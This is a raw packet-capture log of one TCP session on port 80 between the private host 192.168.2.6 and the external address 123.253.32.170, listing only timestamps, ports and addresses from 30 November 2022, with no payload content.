Nov 30, 2022 00:11:15.096960068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.096970081 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.096988916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097007036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.097018957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097038984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097059011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097068071 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.097089052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097105980 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.097119093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097141027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097157001 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.097171068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097192049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097215891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097222090 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.097242117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097263098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097302914 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.097302914 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.097692966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097735882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097745895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097778082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.097793102 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.097817898 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.100883961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.100917101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.100927114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.100970030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.100991011 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.101008892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.101015091 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.101046085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.101095915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.101628065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.101658106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.101701975 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.101720095 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.101749897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.101797104 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.151036024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.177802086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.177855015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.177891016 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.182049990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.182065964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.182080030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.182092905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.182178020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.182219028 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.265535116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.265575886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.265647888 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.350075960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.350116014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.350137949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.350156069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.350173950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.350193024 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.350249052 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.350326061 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.350445986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.350466013 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.350537062 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.354156971 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.354185104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.354315042 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.360045910 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360080004 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360116005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360138893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360168934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360183954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.360191107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360220909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360244989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360251904 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.360253096 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.360269070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360300064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360322952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360327005 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.360344887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360356092 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.360368967 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360387087 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.360394001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360418081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360449076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360471964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360471964 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.360495090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360517025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.360544920 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.360544920 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367093086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367146015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367185116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367237091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367254019 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367275000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367312908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367324114 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367325068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367357016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367396116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367441893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367458105 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367480993 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367530107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367556095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367568016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367587090 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367608070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367645025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367701054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367718935 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367759943 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367804050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367841005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367892981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367918015 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.367929935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.367983103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368000984 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.368021011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368058920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368103981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368134975 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.368140936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368179083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368204117 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.368216991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368256092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368283033 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.368299007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368336916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368343115 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.368375063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.368436098 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.370698929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.370727062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.370745897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.370764017 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.370791912 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.370809078 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.370836973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.370836973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.370940924 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.371262074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.371298075 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.371364117 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.371432066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.371463060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.371540070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.447666883 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.447706938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.447925091 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.451873064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.451911926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.451950073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.451982975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.452013016 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.452008963 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.452043056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.452064037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.452111006 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.535666943 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.535767078 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.535868883 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.620184898 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.620229959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.620259047 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.620289087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.620305061 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.620332003 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.620378017 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.620388985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.620425940 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.620457888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.620464087 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.620512962 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.624089956 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.624133110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.624254942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.630315065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630353928 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630398989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630431890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630440950 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.630465031 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630501986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630554914 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630609989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630661964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630696058 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630697966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.630697966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.630728960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630795002 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.630831957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630906105 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630939007 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.630943060 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.630976915 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.631010056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.631036043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.631042957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.631078005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.631091118 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.631259918 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.638258934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638322115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638375998 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638412952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638420105 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.638446093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638473988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.638482094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638514996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638546944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638552904 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.638581038 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638597012 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.638616085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638664007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638672113 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.638716936 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638752937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638784885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638792038 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.638818026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638839960 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.638850927 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638896942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.638907909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638967037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.638999939 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639033079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639065027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639108896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639142990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639096022 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.639174938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639233112 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639266968 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.639266968 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.639276981 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639311075 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639322042 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.639353991 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.639379025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639436960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639458895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.639472961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.639543056 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.640954018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641004086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641047001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641071081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641104937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641113043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.641136885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641151905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.641222000 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.641431093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641469002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641511917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641545057 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.641556025 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.641614914 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.718050957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.718091965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.718199968 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.721702099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.721745968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.721868992 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.721956015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.721991062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.722034931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.722050905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.722068071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.722219944 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.805794001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.806154966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.806318998 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.890382051 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.890428066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.890453100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.890481949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.890499115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.890506029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.890512943 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.890530109 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.890544891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.890748978 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.896640062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.896662951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.896821976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.900876045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.900909901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.900940895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.900960922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.900980949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901005030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901025057 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901050091 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901070118 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901079893 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.901096106 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901118994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901124954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.901139975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901154041 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901159048 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.901169062 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901181936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.901189089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901205063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901218891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901222944 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.901233912 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.901263952 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.901278019 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909142017 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909162998 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909187078 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909204006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909218073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909231901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909250975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909264088 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909307003 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909328938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909341097 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909393072 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:15.909399986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:15.909415007 CET	80	49725	123.253.32.170	192.168.2.6
